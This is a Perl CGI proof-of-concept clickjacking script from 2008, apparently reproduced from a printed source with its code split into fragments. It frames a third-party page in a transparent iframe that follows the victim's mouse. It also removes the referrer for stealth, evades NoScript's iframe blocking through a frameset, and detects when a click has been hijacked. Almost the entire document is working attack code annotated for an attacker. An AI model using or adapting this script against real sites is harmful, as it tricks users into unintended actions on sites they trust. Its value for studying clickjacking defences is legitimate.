

```

#!/usr/local/bin/perl
#Generic Clickjacking script
#By Robert Hansen (09/29/2008) v0.6
#####
#Bounding box for the target click
$x1 = "40px"; #x axis of the upper left hand corner of $target
$y1 = "249px"; #y axis of the upper left hand corner of $target
$xmsie = "40px"; #x axis if the browser is MSIE
$ymsie = "383px"; #y axis if the browser is MSIE
$width = 40; #width of the $target link/button
$height = 20; #height of the $target link/button
$nsleft = "405px"; #padding from left if the user isn't using script
$nstop = "114px"; #padding from the top of the user isn't using script

#page you want to Clickjack
$target =
"http://digg.com/celebrity/Christopher_Plummer_My_Sex_Injury_Made_Shatner_A_Star";

$opacity = "1.0"; #works in FF but not so well in IE-for debugging
#####

#Todo - add clickjack detection for movement

if ($ENV{"HTTP_USER_AGENT"} =~ m/MSIE/) {
    #Kinda stupid user agent detection... could definitely be improved
    #especially considering this believes there are only two browsers in
    #the world - MSIE and everything else.
    $x1 = $xmsie;
    $y1 = $ymsie;
}

print "Content-Type: text/html\n\n";
$path = $ENV{'SCRIPT_NAME'};

if ($ENV{'QUERY_STRING'}) {
    $buffer = $ENV{'QUERY_STRING'};
    @pairs = split(/&/, $buffer);
    foreach (@pairs) {
        ($name, $value) = split(/=/, $_);
        $value =~ tr/+//;
        $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
        $name =~ s/</%3C/g; #Realy, why would you want to XSS yourself?
        $name =~ s/>/%3E/g; #XSSing others, perhaps but this script would
        $name =~ s/"/%22/g; #require more thought for those use cases...
        $value =~ s/</%3C/g;
        $value =~ s/>/%3E/g;
        $value =~ s/"/%22/g;
        if ($name eq "refresh"){
            #Remove referring URL for stealth... shhh!
            print "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0:url=$target\">";
            exit;
        }
    }
}

```

```

}
if ($name eq "js") {
    print<<EOJS;
function gettrailobj(){
    if (document.getElementById)
        return document.getElementById("trailimageid").style
    else if (document.all)
        return document.all.trailimagid.style
}

function truebody(){
    return (!window.opera && document.compatMode &&
document.compatMode!="BackCompat")? document.documentElement : document.body
}

function followmouse(e){

    var browser=navigator.appName;
    if (browser == "Microsoft Internet Explorer") {
        var xcoord= -3
        var ycoord= -3
    } else {
        var xcoord= 40
        var ycoord= 40
    }
    if (typeof e != "undefined"){
        xcoord+=e.pageX - 50
        ycoord+=e.pageY - 50
    } else if (typeof window.event !="undefined"){
        xcoord+=truebody().scrollLeft+event.clientX
        ycoord+=truebody().scrollTop+event.clientY
    }
    var docwidth=document.all? truebody().scrollLeft+truebody().clientWidth :
pageXOffset+window.innerWidth-15
    var docheight=document.all? Math.max(truebody().scrollHeight, truebody().clientHeight) :
Math.max(document.body.offsetHeight, window.innerHeight)
    if (xcoord+50+3>docwidth || ycoord+50> docheight)
        gettrailobj().display="none"
    else
        gettrailobj().display=""
        gettrailobj().left=xcoord+"px"
        gettrailobj().top=ycoord+"px"
}

document.onmousemove=followmouse
EOJS
exit;
}
if ($name eq "frame") {
    $frame = 1;
}

```

```

if ($name eq "iframe") {
    $iframe = 1;
}
}
}

if ($iframe){
    print<<EOIFRAME;
<html><body leftmargin=0 topmargin=0>
<iframe src="$path?frame=1" Scrolling="no" frameborder="0" style="position:absolute;left:-
$xl;top:-$yl" width="1000" height="1000"></iframe>
</body></html>
EOIFRAME
    exit;
}

if ($frame){
    #Noscript iframe evasion. Noscript was built to allow same domain iframes
    #even if you go to the trouble to "forbid iframes". Counterintuitive!
    #So we do that, and then we use a frame (instead of an iframe) to bounce
    #the user over to the alternate domain (after a meta refresh to clean the
    #referrer. If you aren't worried about it, point the previous iframe
    #directly to refresh=1 and it'll save you a split second delay.
    print<<EOIFRAME;
<frameset cols="100%">
    <frame src="$path?refresh=1" frameborder=0 scrolling="no">
</frameset>
EOIFRAME
    exit;
}

print<<EOHTML;
<html>
<head>
    <title>Generic Clickjacking Demo</title>
    <script src="$path?js=1"></script>
</head>
<body onblur="setTimeout('jacked()',2000)"> <!-- FF Clickjack Detection -->
    <script>
        <!-- //Click Jack Detection
        function jacked() {
            //Click Jack (probably) worked... now do_something();
            //Works better in IE than FF, and you may want to move this into the
            //frame, if you need to re-position the frame for a subsequent
            //click event (Eg: click on an option box and then submit).
        }
    -->
</script>

    <div align="left" style="margin-left:300px"><p><h2>Generic Clickjacking
Demo<h2></p></div>

```

```
<div align="left" style="margin-left:400px"><p width="400">Click <H3><A  
HREF="/log.cgi">here</a></h3> please.</p></div>
```

```
<!-- Clickjack This -->
```

```
<div id="trailimageid" style="position:absolute;left:0px;top:0px;width:$width px;height:$height  
px"><iframe id="ifra" SRC="$path?iframe=1" scrolling=no frameborder=0 width="$width"  
height="$height" style="opacity:$opacity;filter: alpha(opacity=$opacity); -moz-opacity: $opacity;"  
onfocus="setTimeout('jacked()',2000);//IE Clickjack Detection"></iframe></div>
```

```
<noscript>
```

```
<!-- Noscript helps defeat JS that is designed to follow the mouse but  
if the attacker knows where the victim is going to click ahead of  
time because there's only one place to click, this is an alternative  
to still get the victim's click. Note that the attacker could also  
cover the entire page with iframes. Also if noscript is enabled,  
that doesn't necessarily mean the victim isn't allowing script from  
another domain, so although it might seem stupid to do this for  
JS-required pages it still might end up working anyway in that case.
```

```
-->
```

```
<style>
```

```
#trailimageid{  
padding-top:$nstop;  
padding-left:$nsleft;  
}
```

```
</style>
```

```
</noscript>
```

```
</body>
```

```
</html>
```

```
EOHTML
```